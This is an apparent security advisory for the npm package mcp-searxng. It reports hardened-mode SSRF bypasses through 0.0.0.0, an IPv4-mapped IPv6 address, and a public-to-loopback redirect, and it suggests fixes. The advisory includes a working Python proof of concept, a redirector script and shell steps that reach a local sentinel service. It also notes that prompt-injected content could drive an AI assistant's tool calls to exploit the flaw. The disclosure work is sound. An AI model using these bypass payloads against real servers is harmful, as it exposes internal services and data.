중간취약점
SearXNG MCP Server: Additional hardened-mode SSRF bypasses
GHSA-wppf-h75h-6pm6 · CVE-2026-54689 · 갱신 2026. 8. 20.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| npm | mcp-searxng | 1.2.1 |
GHSA-wppf-h75h-6pm6 · CVE-2026-54689 · 갱신 2026. 8. 20.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| npm | mcp-searxng | 1.2.1 |
So PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access.
The URL policy appears to be applied to the initial URL, but redirect targets are followed by fetch() without applying the same policy to each hop.
A non-private attacker-controlled first-hop URL can respond with:
302 Location: http://127.0.0.1:6789/secret
The request is then followed to loopback.
This is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to 127.0.0.1.
0.0.0.0 is not treated as internal0.0.0.0 is not currently blocked by the private IPv4 predicate. On Linux, connecting to 0.0.0.0:<port> can reach a local service bound on loopback or wildcard interfaces.
In my test, this URL returned the sentinel from the local loopback service:
http://0.0.0.0:6789/secret
The current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as:
::ffff:127.0.0.1
However, Node's WHATWG URL parser canonicalizes:
new URL("http://[::ffff:127.0.0.1]/").hostname
to:
[::ffff:7f00:1]
As a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address.
In my test, this URL returned the loopback sentinel:
http://[::ffff:127.0.0.1]:6789/secret
This is a hardened-mode SSRF bypass.
The sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host.
In real deployments, the same class of issue could allow web_url_read to reach:
This is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger web_url_read with one of these bypass URLs.
cd /home/exouser/Desktop
mkdir -p searxng_pr79_test
cd searxng_pr79_test
git clone --depth 1 \
-b fix/cwe918-url-reader-ssrf-4676 \
https://github.com/sebastiondev/mcp-searxng.git pr79
cd pr79
git rev-parse HEAD
npm install --no-audit --no-fund
npm run build
ls -l dist/index.js
Expected PR commit:
e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4
This service represents an internal-only HTTP service reachable from the MCP server host.
cat > /tmp/searxng_sentinel_server.py <<'PY'
#!/usr/bin/env python3
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6789
SENTINEL = b"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2"
class H(BaseHTTPRequestHandler):
def do_GET(self):
body = b"<html><body><h1>internal</h1><p>" + SENTINEL + b"</p></body></html>"
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
sys.stderr.write("[sentinel %s] %s\n" % (PORT, fmt % args))
def serve_v4():
HTTPServer(("127.0.0.1", PORT), H).serve_forever()
def serve_v6():
try:
import socket
class HTTPServerV6(HTTPServer):
address_family = socket.AF_INET6
HTTPServerV6(("::1", PORT), H).serve_forever()
except Exception as e:
sys.stderr.write(f"[sentinel] IPv6 listener failed: {e}\n")
threading.Thread(target=serve_v4, daemon=True).start()
serve_v6()
PY
fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
nohup python3 /tmp/searxng_sentinel_server.py 6789 >/tmp/searxng_sentinel.log 2>&1 &
sleep 1
curl -sS http://127.0.0.1:6789/secret
Expected output contains:
INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2
0.0.0.0cat > /tmp/poc_0_0_0_0.py <<'PY'
#!/usr/bin/env python3
import json
import os
import subprocess
import time
import sys
from pathlib import Path
REPO = Path("/home/exouser/Desktop/searxng_pr79_test/pr79")
SERVER = REPO / "dist" / "index.js"
SENTINEL = "INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2"
ENV = {
"MCP_HTTP_HARDEN": "true",
"MCP_HTTP_AUTH_TOKEN": "poc-token",
"MCP_HTTP_ALLOWED_ORIGINS": "http://localhost:9999",
}
def send(p, o):
p.stdin.write((json.dumps(o) + "\n").encode())
p.stdin.flush()
def recv(p, want_id, timeout=20):
end = time.time() + timeout
while time.time() < end:
line = p.stdout.readline()
if not line:
time.sleep(0.05)
continue
try:
m = json.loads(line.decode())
except Exception:
continue
if m.get("id") == want_id:
return m
raise TimeoutError()
def main():
url = "http://0.0.0.0:6789/secret"
print(f"[poc] hardened-mode read_url url = {url!r}")
p = subprocess.Popen(
["node", str(SERVER)],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=str(REPO),
env={**os.environ, **ENV},
)
try:
send(p, {
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "poc", "version": "0"}
}
})
recv(p, 1)
send(p, {
"jsonrpc": "2.0",
"method": "notifications/initialized",
"params": {}
})
send(p, {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "web_url_read",
"arguments": {
"url": url,
"maxLength": 400
}
}
})
r = recv(p, 2)
finally:
try:
p.terminate()
p.wait(timeout=3)
except Exception:
p.kill()
text = json.dumps(r).replace("\\\\_", "_").replace("\\_", "_")
if SENTINEL in text:
print("[poc] RESULT: BYPASS — sentinel returned")
try:
print("[poc] tool returned:", repr(r["result"]["content"][0]["text"][:200]))
except Exception:
pass
sys.exit(0)
print("[poc] RESULT: blocked / failed")
print(json.dumps(r)[:500])
sys.exit(1)
if __name__ == "__main__":
main()
PY
python3 /tmp/poc_0_0_0_0.py
Observed:
[poc] hardened-mode read_url url = 'http://0.0.0.0:6789/secret'
[poc] RESULT: BYPASS — sentinel returned
sed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \
/tmp/poc_0_0_0_0.py > /tmp/poc_ipv4_mapped_ipv6.py
python3 /tmp/poc_ipv4_mapped_ipv6.py
Observed:
[poc] hardened-mode read_url url = 'http://[::ffff:127.0.0.1]:6789/secret'
[poc] RESULT: BYPASS — sentinel returned
This uses 198.51.100.1 as a safe local stand-in for a non-private attacker-controlled first-hop address.
sudo ip addr add 198.51.100.1/32 dev lo
cat > /tmp/redirector_public.py <<'PY'
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://127.0.0.1:6789/secret")
self.send_header("Content-Length", "0")
self.end_headers()
def log_message(self, *args, **kwargs):
pass
HTTPServer(("198.51.100.1", 6790), H).serve_forever()
PY
fuser -k 6790/tcp 2>/dev/null || true
nohup python3 /tmp/redirector_public.py >/tmp/searxng_redirector_public.log 2>&1 &
sleep 1
curl -sSL http://198.51.100.1:6790/jump
The curl sanity check should return the internal sentinel.
Now run the MCP request:
sed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \
/tmp/poc_0_0_0_0.py > /tmp/poc_redirect_public_to_loopback.py
python3 /tmp/poc_redirect_public_to_loopback.py
Observed:
[poc] hardened-mode read_url url = 'http://198.51.100.1:6790/jump'
[poc] RESULT: BYPASS — sentinel returned
fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
sudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true
NodeHtmlMarkdown escapes _ to \_, so the sentinel may appear in the MCP response as:
INTERNAL\_SECRET\_DATA\_\_mcp\_searxng\_ssrf\_path2
When grepping or matching the response, either match against the escaped form or normalize \_ back to _.
When hardened mode is enabled and private URLs are not explicitly allowed, web_url_read should not be able to fetch loopback or internal resources through:
With hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:
http://0.0.0.0:6789/secret
http://[::ffff:127.0.0.1]:6789/secret
http://198.51.100.1:6790/jump -> 302 Location: http://127.0.0.1:6789/secret
A complete fix likely needs more than a connect-time DNS lookup guard.
Suggested changes:
redirect: "manual" and apply the same URL policy to each Location before following it.0.0.0.0/8 and other IANA special-purpose ranges as internal/non-public.[::ffff:7f00:1].127.0.0.1;0.0.0.0;[::ffff:127.0.0.1];127.0.0.1;